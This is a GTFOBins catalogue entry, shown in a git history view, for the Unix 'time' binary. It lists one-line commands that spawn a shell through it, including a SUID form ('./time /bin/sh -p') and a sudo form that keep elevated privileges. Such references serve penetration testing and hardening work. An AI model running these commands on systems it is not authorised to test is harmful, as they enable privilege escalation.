GTFOBins.github.io/_gtfobins/time.md

13 lines
338 B
Markdown
Raw Normal View History

---
description: |
Note that the shell might have its own builtin time implementation, which may
2018-06-04 17:21:24 +02:00
behave differently than` /usr/bin/time`, hence the absolute path.
functions:
execute-interactive:
2018-07-04 20:26:52 +02:00
- code: "/usr/bin/time /bin/sh"
suid-enabled:
2018-07-04 20:26:52 +02:00
- code: "./time /bin/sh -p"
sudo-enabled:
- code: sudo /usr/bin/time /bin/sh
---